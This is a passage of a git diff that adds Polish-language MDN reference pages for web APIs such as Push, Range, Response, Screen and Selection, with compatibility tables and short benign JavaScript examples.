for handling this, there is currently no standard mechanism. Firefox allows a limited number (quota) of push messages to be sent to an application, although Push messages that generate notifications are exempt from this limit. The limit is refreshed each time the site is visited. In comparison, Chrome applies no limit, but requires that every push message causes a notification to be displayed.</p> + +<div class="note"> +<p><strong>Note</strong>: As of Gecko 44, the allowed quota of push messages per application is not incremented when a new notification fires, when another is still visible, for a period of three seconds. This handles cases where a burst of notifications is received, and not all generate a visible notification.</p> +</div> + +<div class="note"> +<p><strong>Note</strong>: Chrome versions earlier than 52 require you to set up a project on <a href="https://developers.google.com/cloud-messaging/">Google Cloud Messaging</a> to send push messages, and use the associated project number and API key when sending push notifications. It also requires an app manifest, with some special parameters to use this service.</p> +</div> + +<h2 id="Interfejsy">Interfejsy</h2> + +<dl> + <dt>{{domxref("PushEvent")}}</dt> + <dd>Represents a push action, sent to the <a href="/en-US/docs/Web/API/ServiceWorkerGlobalScope">global scope</a> of a {{domxref("ServiceWorker")}}. It contains information sent from an application to a {{domxref("PushSubscription")}}.</dd> + <dt>{{domxref("PushManager")}}</dt> + <dd>Provides a way to receive notifications from third-party servers, as well as request URLs for push notifications. This interface has replaced the functionality offered by the obsolete {{domxref("PushRegistrationManager")}} interface.</dd> + <dt>{{domxref("PushMessageData")}}</dt> + <dd>Provides access to push data sent by a server, and includes methods to manipulate the received data.</dd> + <dt>{{domxref("PushSubscription")}}</dt> + <dd>Provides a subcription's URL endpoint, and allows unsubscription from a push service.</dd> +</dl> + +<h2 id="Wzbogacenia_Service_worker">Wzbogacenia Service worker</h2> + +<p>The following additions to the <a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a> have been specified in the Push API spec to provide an entry point for using Push messages. They also monitor and respond to push and subscription change events.</p> + +<dl> + <dt>{{domxref("ServiceWorkerRegistration.pushManager")}} {{readonlyinline}}</dt> + <dd>Returns a reference to the {{domxref("PushManager")}} interface for managing push subscriptions including subscribing, getting an active subscription, and accessing push permission status. This is the entry point into using Push messaging.</dd> + <dt>{{domxref("ServiceWorkerGlobalScope.onpush")}}</dt> + <dd>An event handler fired whenever a {{Event("push")}} event occurs; that is, whenever a server push message is received.</dd> + <dt>{{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}}</dt> + <dd>An event handler fired whenever a {{Event("pushsubscriptionchange")}} event occurs; for example, when a push subscription has been invalidated, or is about to be invalidated (e.g. when a push service sets an expiration time.)</dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<p><a href="https://serviceworke.rs/">ServiceWorker Cookbook</a> Mozilli zawiera dużo przydatnych przykładów Push.</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName("Push API")}}</td> + <td>{{Spec2("Push API")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_przeglądarek">Zgodność przeglądarek</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Funkcjonalność</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome(42.0)}}</td> + <td>{{CompatGeckoDesktop(44.0)}}<sup>[1][3]</sup></td> + <td>{{CompatNo}}<sup>[2]</sup></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td>{{domxref("PushEvent.data")}},<br> + {{domxref("PushMessageData")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoDesktop(44.0)}}<sup>[3]</sup></td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoMobile(48.0)}}<sup>[4]</sup></td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}<sup>[2]</sup></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatChrome(42.0)}}</td> + </tr> + <tr> + <td>{{domxref("PushEvent.data")}},<br> + {{domxref("PushMessageData")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoMobile(48.0)}}<sup>[4]</sup></td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<ul> + <li>[1] Aktualnie dostępne tylko dla wersji desktop przeglądarek Firefox; również, wiadomości push są dostarczane tylko wtedy gdy Firefox jest uruchomiony.</li> + <li>[2] Aktualnie nie jest zaimplementowane. Zobacz <a href="https://dev.modern.ie/platform/status/pushapi/">Microsoft Edge status information</a>.</li> + <li>[3] Push (i <a href="/en-US/docs/Web/API/Service_Worker_API">Service Workers</a>) zostały zablokowane w wersjach przeglądarek <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 and 52 Extended Support Releases</a> (ESR.)</li> + <li>[4] Push jest już dostępny (domoyślnie) w przeglądarkach Firefox oraz Android version 48.</li> +</ul> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li><a href="https://blog.mozilla.org/services/2016/08/23/sending-vapid-identified-webpush-notifications-via-mozillas-push-service/">Sending VAPID identified WebPush Notifications via Mozilla’s Push Service</a></li> + <li><a href="http://updates.html5rocks.com/2015/03/push-notificatons-on-the-open-web">Push Notifications on the Open Web</a>, Matt Gaunt</li> + <li><a href="/en-US/docs/Web/API/Service_Worker_API">Service Worker API</a></li> +</ul> diff --git a/files/pl/web/api/range/index.html b/files/pl/web/api/range/index.html new file mode 100644 index 0000000000..cabb00df2c --- /dev/null +++ b/files/pl/web/api/range/index.html @@ -0,0 +1,105 @@ +--- +title: range +slug: Web/API/Range +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/Range +--- +<p>{{ ApiRef("DOM") }}Obiekt <code>Range</code> reprezentuje fragment dokumentu, który stanowi węzeł oraz część węzła tekstowego w danym dokumencie.</p> + +<p>A range can be created using the <code><a href="pl/DOM/document.createRange">createRange</a></code> method of the <code><a href="pl/DOM/document">Document</a></code> object. Range objects can also be retrieved by using the <code><a href="pl/DOM/Selection/getRangeAt">getRangeAt</a></code> method of the <code><a href="pl/DOM/Selection">selection</a></code> object.</p> + +<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3> + +<dl> + <dt><a href="pl/DOM/range.collapsed">collapsed</a></dt> + <dd>Returns a boolean indicating whether the range's start and end points are at the same position.</dd> + <dt><a href="pl/DOM/range.commonAncestorContainer">commonAncestorContainer</a></dt> + <dd>Returns the deepest Node that contains the startContainer and endContainer Nodes.</dd> + <dt><a href="pl/DOM/range.endContainer">endContainer</a></dt> + <dd>Returns the Node within which the Range ends.</dd> + <dt><a href="pl/DOM/range.endOffset">endOffset</a></dt> + <dd>Returns a number representing where in the endContainer the Range ends.</dd> + <dt><a href="pl/DOM/range.startContainer">startContainer</a></dt> + <dd>Returns the Node within which the Range starts.</dd> + <dt><a href="pl/DOM/range.startOffset">startOffset</a></dt> + <dd>Returns a number representing where in the startContainer the Range starts.</dd> +</dl> + +<h3 id="Metody" name="Metody">Metody</h3> + +<h4 id="Metody_pozycjonowania" name="Metody_pozycjonowania">Metody pozycjonowania</h4> + +<p>Te metody ustawiają punkt początkowy i końcowy obiektu range.</p> + +<dl> + <dt><a href="pl/DOM/range.setStart">setStart</a></dt> + <dd>Ustawia pozycję początkową obiektu range.</dd> + <dt><a href="pl/DOM/range.setEnd">setEnd</a></dt> + <dd>Ustawia pozycję końcową obiektu range.</dd> + <dt><a href="pl/DOM/range.setStartBefore">setStartBefore</a></dt> + <dd>Ustawia pozycję początkowa dla obiektu range w odniesieniu do innego węzła.</dd> + <dt><a href="pl/DOM/range.setStartAfter">setStartAfter</a></dt> + <dd>Ustawia pozycję początkowa dla obiektu range w odniesieniu do innego węzła.</dd> + <dt><a href="pl/DOM/range.setEndBefore">setEndBefore</a></dt> + <dd>Ustawia pozycję końcową dla obiektu range w odniesieniu do innego węzła.</dd> + <dt><a href="pl/DOM/range.setEndAfter">setEndAfter</a></dt> + <dd>Ustawia pozycję końcową dla obiektu range w odniesieniu do innego węzła.</dd> + <dt><a href="pl/DOM/range.selectNode">selectNode</a></dt> + <dd>Ustawia obiekt range, aby zawierał węzeł wraz z jego zawartością.</dd> + <dt><a href="pl/DOM/range.selectNodeContents">selectNodeContents</a></dt> + <dd>Ustawia obiekt range, aby zawierał zawartość węzła.</dd> + <dt><a href="pl/DOM/range.collapse">collapse</a></dt> + <dd>Zawija obiekt range do jednego z jego punktów granicznych.</dd> +</dl> + +<h4 id="Metody_edytuj.C4.85ce" name="Metody_edytuj.C4.85ce">Metody edytujące</h4> + +<p>These methods retrieve Nodes from a range and modify the contents of a range.</p> + +<dl> + <dt><a href="pl/DOM/range.cloneContents">cloneContents</a></dt> + <dd>Returns a document fragment copying the nodes of a Range.</dd> + <dt><a href="pl/DOM/range.deleteContents">deleteContents</a></dt> + <dd>Removes the contents of a Range from the document.</dd> + <dt><a href="pl/DOM/range.extractContents">extractContents</a></dt> + <dd>Moves contents of a Range from the document tree into a document fragment</dd> + <dt><a href="pl/DOM/range.insertNode">insertNode</a></dt> + <dd>Insert a node at the start of a Range.</dd> + <dt><a href="pl/DOM/range.surroundContents">surroundContents</a></dt> + <dd>Moves content of a Range into a new node.</dd> +</dl> + +<h4 id="Inne_metody" name="Inne_metody">Inne metody</h4> + +<dl> + <dt><a href="pl/DOM/range.compareBoundaryPoints">compareBoundaryPoints</a></dt> + <dd>Porównuje punkty graniczne dwóch obiektów range.</dd> + <dt><a href="pl/DOM/range.cloneRange">cloneRange</a></dt> + <dd>Zwraca obiekt range z punktami granicznymi identycznymi z klonowanym obiektem range.</dd> + <dt><a href="pl/DOM/range.detach">detach</a></dt> + <dd>Releases Range from use to improve performance.</dd> + <dt><a href="pl/DOM/range.toString">toString</a></dt> + <dd>Zwraca tekst z obiektu range.</dd> +</dl> + +<h4 id="Metody_Gecko" name="Metody_Gecko">Metody Gecko</h4> + +<p>Ta sekcja opisuje szczególne metody <code>Range</code> Mozilli nie będące częścią specyfikacji W3C DOM.</p> + +<dl> + <dt><a href="pl/DOM/range.compareNode">compareNode</a> {{ Obsolete_inline() }}</dt> + <dd>Zwraca stałą opisującą czy węzeł znajduje się przed, za, wewnątrz lub otacza obiekt range .</dd> + <dt><a href="pl/DOM/range.comparePoint">comparePoint</a></dt> + <dd>Zwraca -1, 0 lub 1 wskazując czy punkt porównania występuje przed, wewnątrz lub za obiektem range.</dd> + <dt><a href="pl/DOM/range.createContextualFragment">createContextualFragment</a></dt> + <dd>Zwraca fragment dokumentu utworzony z danego łańcucha kodu.</dd> + <dt><a href="pl/DOM/range.intersectsNode">intersectsNode</a> {{ Obsolete_inline() }}</dt> + <dd>Zwraca wartość Boolean określającą czy dany węzeł przecina obiekt range.</dd> + <dt><a href="pl/DOM/range.isPointInRange">isPointInRange</a></dt> + <dd>Zwraca wartość Boolean określającą czy dany punkt jest zawarty w obiekcie range.</dd> +</dl> diff --git a/files/pl/web/api/response/index.html b/files/pl/web/api/response/index.html new file mode 100644 index 0000000000..394a5a4a4d --- /dev/null +++ b/files/pl/web/api/response/index.html @@ -0,0 +1,132 @@ +--- +title: Response +slug: Web/API/Response +tags: + - API + - Experimental + - Fetch + - Fetch API + - Interface + - NeedsTranslation + - Reference + - Response + - TopicStub +translation_of: Web/API/Response +--- +<div>{{APIRef("Fetch API")}}</div> + +<p>The <strong><code>Response</code></strong> interface of the <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> represents the response to a request.</p> + +<p>You can create a new <code>Response</code> object using the {{domxref("Response.Response()")}} constructor, but you are more likely to encounter a Response object being returned as the result of another API operation, for example a service worker {{domxref("Fetchevent.respondWith")}}, or a simple {{domxref("GlobalFetch.fetch()")}}.</p> + +<h2 id="Constructor">Constructor</h2> + +<dl> + <dt>{{domxref("Response.Response","Response()")}}</dt> + <dd>Creates a new <code>Response</code> object.</dd> +</dl> + +<h2 id="Properties">Properties</h2> + +<dl> + <dt>{{domxref("Response.headers")}} {{readonlyinline}}</dt> + <dd>Contains the {{domxref("Headers")}} object associated with the response.</dd> + <dt>{{domxref("Response.ok")}} {{readonlyinline}}</dt> + <dd>Contains a boolean stating whether the response was successful (status in the range 200-299) or not.</dd> + <dt>{{domxref("Response.redirected")}} {{ReadOnlyInline}}</dt> + <dd>Indicates whether or not the response is the result of a redirect; that is, its URL list has more than one entry.</dd> + <dt>{{domxref("Response.status")}} {{readonlyinline}}</dt> + <dd>Contains the status code of the response (e.g., <code>200</code> for a success).</dd> + <dt>{{domxref("Response.statusText")}} {{readonlyinline}}</dt> + <dd>Contains the status message corresponding to the status code (e.g., <code>OK</code> for <code>200</code>).</dd> + <dt>{{domxref("Response.trailers")}}</dt> + <dd>Contains a {{domxref("Promise")}} resolving to a {{domxref("Headers")}} object associated with the response with {{domxref("Response.headers")}} for values of the HTTP {{HTTPHeader("Trailer")}} header.</dd> + <dt>{{domxref("Response.type")}} {{readonlyinline}}</dt> + <dd>Contains the type of the response (e.g., <code>basic</code>, <code>cors</code>).</dd> + <dt>{{domxref("Response.url")}} {{readonlyinline}}</dt> + <dd>Contains the URL of the response.</dd> + <dt>{{domxref("Response.useFinalURL")}}</dt> + <dd>Contains a boolean stating whether this is the final URL of the response.</dd> +</dl> + +<p><code>Response</code> implements {{domxref("Body")}}, so it also has the following properties available to it:</p> + +<dl> + <dt>{{domxref("Body.body")}} {{readonlyInline}}</dt> + <dd>A simple getter used to expose a {{domxref("ReadableStream")}} of the body contents.</dd> + <dt>{{domxref("Body.bodyUsed")}} {{readonlyInline}}</dt> + <dd>Stores a {{domxref("Boolean")}} that declares whether the body has been used in a response yet.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<dl> + <dt>{{domxref("Response.clone()")}}</dt> + <dd>Creates a clone of a <code>Response</code> object.</dd> + <dt>{{domxref("Response.error()")}}</dt> + <dd>Returns a new <code>Response</code> object associated with a network error.</dd> + <dt>{{domxref("Response.redirect()")}}</dt> + <dd>Creates a new response with a different URL.</dd> +</dl> + +<p><code>Response</code> implements {{domxref("Body")}}, so it also has the following methods available to it:</p> + +<dl> + <dt>{{domxref("Body.arrayBuffer()")}}</dt> + <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with an {{domxref("ArrayBuffer")}}.</dd> + <dt>{{domxref("Body.blob()")}}</dt> + <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("Blob")}}.</dd> + <dt>{{domxref("Body.formData()")}}</dt> + <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("FormData")}} object.</dd> + <dt>{{domxref("Body.json()")}}</dt> + <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with the result of parsing the body text as {{jsxref("JSON")}}.</dd> + <dt>{{domxref("Body.text()")}}</dt> + <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("USVString")}} (text).</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<p>In our <a href="https://github.com/mdn/fetch-examples/tree/master/basic-fetch">basic fetch example</a> (<a href="http://mdn.github.io/fetch-examples/basic-fetch/">run example live</a>) we use a simple <code>fetch()</code> call to grab an image and display it in an {{htmlelement("img")}} tag. The <code>fetch()</code> call returns a promise, which resolves with the <code>Response</code> object associated with the resource fetch operation. You'll notice that since we are requesting an image, we need to run {{domxref("Body.blob")}} ({{domxref("Response")}} implements body) to give the response its correct MIME type.</p> + +<pre class="brush: js">const image = document.querySelector('.my-image'); +fetch('flowers.jpg').then(function(response) { + return response.blob(); +}).then(function(blob) { + const objectURL = URL.createObjectURL(blob); + image.src = objectURL; +});</pre> + +<p>You can also use the {{domxref("Response.Response()")}} constructor to create your own custom <code>Response</code> object:</p> + +<pre class="brush: js">const response = new Response();</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#response-class','Response')}}</td> + <td>{{Spec2('Fetch')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.Response")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li> + <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li> + <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li> +</ul> diff --git a/files/pl/web/api/screen/colordepth/index.html b/files/pl/web/api/screen/colordepth/index.html new file mode 100644 index 0000000000..89c06c4b8c --- /dev/null +++ b/files/pl/web/api/screen/colordepth/index.html @@ -0,0 +1,43 @@ +--- +title: Screen.colorDepth +slug: Web/API/Screen/colorDepth +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Screen/colorDepth +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Zwraca głębię koloru ekranu.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">bitDepth = window.screen.colorDepth +</pre> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">// Sprawdzenie głębi koloru ekranu +if ( window.screen.colorDepth < 8) { + // Użycie wersji strony z małą ilością kolorów +} else { + // Użycie prawidłowej wersji strony, o pełnej głębi kolorów +} +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Zobacz także <code><a href="pl/DOM/window.screen.pixelDepth">window.screen.pixelDepth</a></code>.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p>{{ DOM0() }}</p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/DOM/window.screen.colorDepth", "ja": "ja/DOM/window.screen.colorDepth" } ) }}</p> diff --git a/files/pl/web/api/screen/index.html b/files/pl/web/api/screen/index.html new file mode 100644 index 0000000000..91ce6c3476 --- /dev/null +++ b/files/pl/web/api/screen/index.html @@ -0,0 +1,74 @@ +--- +title: Screen +slug: Web/API/Screen +translation_of: Web/API/Screen +--- +<div>{{APIRef("CSSOM View")}}</div> + +<p>The <code>Screen</code> interface represents a screen, usually the one on which the current window is being rendered.</p> + +<p>Usually it is the one on which the current window is being rendered, obtained using <code>window.screen</code>.</p> + +<h2 id="Example" name="Example">Properties</h2> + +<dl> + <dt>{{domxref("Screen.availTop")}}</dt> + <dd>Specifies the y-coordinate of the first pixel that is not allocated to permanent or semipermanent user interface features.</dd> + <dt>{{domxref("Screen.availLeft")}}</dt> + <dd>Returns the first available pixel available from the left side of the screen.</dd> + <dt>{{domxref("Screen.availHeight")}}</dt> + <dd>Specifies the height of the screen, in pixels, minus permanent or semipermanent user interface features displayed by the operating system, such as the Taskbar on Windows.</dd> + <dt>{{domxref("Screen.availWidth")}}</dt> + <dd>Returns the amount of horizontal space in pixels available to the window.</dd> + <dt>{{domxref("Screen.colorDepth")}}</dt> + <dd>Returns the color depth of the screen.</dd> + <dt>{{domxref("Screen.height")}}</dt> + <dd>Returns the height of the screen in pixels.</dd> + <dt>{{domxref("Screen.left")}}</dt> + <dd>Returns the distance in pixels from the left side of the main screen to the left side of the current screen.</dd> + <dt>{{domxref("Screen.orientation")}}</dt> + <dd>Returns the current orientation of the screen.</dd> + <dt>{{domxref("Screen.pixelDepth")}}</dt> + <dd>Gets the bit depth of the screen.</dd> + <dt>{{domxref("Screen.top")}}</dt> + <dd>Returns the distance in pixels from the top side of the current screen.</dd> + <dt>{{domxref("Screen.width")}}</dt> + <dd>Returns the width of the screen.</dd> + <dt>{{domxref("Screen.mozEnabled")}} {{gecko_minversion_inline("12.0")}}</dt> + <dd>Boolean. Setting to false will turn off the device's screen.</dd> + <dt>{{domxref("Screen.mozBrightness")}} {{gecko_minversion_inline("12.0")}}</dt> + <dd>Controls the brightness of a device's screen. A double between 0 and 1.0 is expected.</dd> +</dl> + +<h3 id="Events_handler">Events handler</h3> + +<dl> + <dt>{{domxref("Screen.onorientationchange")}}</dt> + <dd>A handler for the {{event("orientationchange")}} events.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<dl> + <dt>{{domxref("Screen.lockOrientation")}}</dt> + <dd>Lock the screen orientation (only works in fullscreen or for installed apps)</dd> + <dt>{{domxref("Screen.unlockOrientation")}}</dt> + <dd>Unlock the screen orientation (only works in fullscreen or for installed apps)</dd> +</dl> + +<p>Methods inherit from {{domxref("EventTarget")}}</p> + +<p>{{page("/en-US/docs/Web/API/EventTarget","Methods")}}</p> + +<h2 id="Example" name="Example">Example</h2> + +<pre class="brush:js">if (screen.pixelDepth < 8) { + // use low-color version of page +} else { + // use regular, colorful page +} +</pre> + +<h2 id="Specification" name="Specification">Specification</h2> + +<p>CSSOM View</p> diff --git a/files/pl/web/api/screen/width/index.html b/files/pl/web/api/screen/width/index.html new file mode 100644 index 0000000000..352f6cfbf3 --- /dev/null +++ b/files/pl/web/api/screen/width/index.html @@ -0,0 +1,108 @@ +--- +title: Screen.width +slug: Web/API/Screen/width +translation_of: Web/API/Screen/width +--- +<div> +<div>{{APIRef("CSSOM View")}}</div> +</div> + +<p>Zwraca szerokość ekranu.</p> + +<h2 id="Syntax" name="Syntax">Składnia</h2> + +<pre class="syntaxbox"><var>lWidth</var> = window.screen.width +</pre> + +<h2 id="Example" name="Example">Przykład</h2> + +<pre class="brush:js">// crude way to check that the screen is at least 1024x768 +if (window.screen.width >= 1024 && window.screen.height >= 768) { + // resolution is 1024x768 or above +} +</pre> + +<h2 id="Notes" name="Notes">Notes</h2> + +<p>Note that not all of the width given by this property may be available to the window itself. When other widgets occupy space that cannot be used by the <code>window</code> object, there is a difference in <code>window.screen.width</code> and <code>window.screen.availWidth</code>. See also {{domxref("window.screen.height")}}.</p> + +<p>Internet Explorer will take into account the zoom setting when reporting the screen width. It will only return the real width of the screen if the zoom is set to 100%.</p> + +<h2 id="Specification" name="Specification">Specyfikacja</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{ SpecName('CSSOM View', '#dom-screen-width', 'Screen.width') }}</td> + <td>{{ Spec2('CSSOM View') }}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>6</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Android Webview</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/pl/web/api/selection/addrange/index.html b/files/pl/web/api/selection/addrange/index.html new file mode 100644 index 0000000000..7827743f8e --- /dev/null +++ b/files/pl/web/api/selection/addrange/index.html @@ -0,0 +1,40 @@ +--- +title: addRange +slug: Web/API/Selection/addRange +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Selection/addRange +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Dodaje zakres do zaznaczenia.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>sel</i>.addRange(<i>range</i>) +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<dl> + <dt> + <i> + <code>range</code></i> + </dt> + <dd> + Obiekt <a href="pl/DOM/range">zakresu</a>, który będzie dodany do zaznaczenia.</dd> +</dl> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> +<pre class="eval"> /* Wybiera wszystkie znaczniki STRONG w dokumencie HTML */ + var strongs = document.getElementsByTagName("strong"); + var s = window.getSelection(); + if(s.rangeCount > 0) s.removeAllRanges(); + for(var i = 0; i < strongs.length; i++) { + var range = document.createRange(); + range.selectNode(strongs[i]); + s.addRange(range); + } +</pre> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/Selection/addRange", "es": "es/DOM/Selection/addRange", "it": "it/DOM/Selection/addRange" } ) }}</p> diff --git a/files/pl/web/api/selection/anchornode/index.html b/files/pl/web/api/selection/anchornode/index.html new file mode 100644 index 0000000000..200bccb3fa --- /dev/null +++ b/files/pl/web/api/selection/anchornode/index.html @@ -0,0 +1,22 @@ +--- +title: anchorNode +slug: Web/API/Selection/anchorNode +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Selection/anchorNode +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca węzeł, w którym się zaczyna zaznaczenie.</p> +<h3 id="Skladnia" name="Skladnia">Skladnia</h3> +<pre class="eval"><i>sel</i>.anchorNode +</pre> +<h3 id="Notatki" name="Notatki">Notatki</h3> +<p>Użytkownik może wykonać zaznaczenie od lewej do prawej (w bieg dokumentu) lub od prawej do lewej (odwrotnie od biegu dokumentu). Kotwica znajduje się tam, gdzie użytkownik zaczyna selekcję. Może to być widoczne, kiedy zostanie przytrzymany klawisz Shift i naciśnięte strzałki na klawiaturze. Kotwica selekcji nie zmienia swojego położenia, ale skupienie selekcji, drugi koniec selekcji, porusza się.</p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/Selection/anchorNode", "es": "es/DOM/Selection/anchorNode", "it": "it/DOM/Selection/anchorNode" } ) }}</p> diff --git a/files/pl/web/api/selection/anchoroffset/index.html b/files/pl/web/api/selection/anchoroffset/index.html new file mode 100644 index 0000000000..35a0148f6a --- /dev/null +++ b/files/pl/web/api/selection/anchoroffset/index.html @@ -0,0 +1,23 @@ +--- +title: anchorOffset +slug: Web/API/Selection/anchorOffset +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Selection/anchorOffset +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca pozycję, na której kotwica selekcji znajduje się w węźle <a href="pl/DOM/Selection/anchorNode">anchorNode</a>.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>sel</i>.anchorOffset +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Liczenie się tej zmiennej zaczyna się od 0. Jeżeli selekcja zaczyna się w pierwszym znaku <a href="pl/DOM/Selection/anchorNode">anchorNode</a>, zwracane jest 0.</p> +<p> </p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/Selection/anchorOffset", "es": "es/DOM/Selection/anchorOffset", "it": "it/DOM/Selection/anchorOffset" } ) }}</p> diff --git a/files/pl/web/api/selection/collapse/index.html b/files/pl/web/api/selection/collapse/index.html new file mode 100644 index 0000000000..fec80daf7e --- /dev/null +++ b/files/pl/web/api/selection/collapse/index.html @@ -0,0 +1,45 @@ +--- +title: collapse +slug: Web/API/Selection/collapse +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Selection/collapse +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zawęża aktualne zaznaczenie w pojedynczy punkt. Dokument nie jest modyfikowany. Jeżeli treść jest edytowalna i aktywna, przeniesie się tam kursor.</p> +<h3 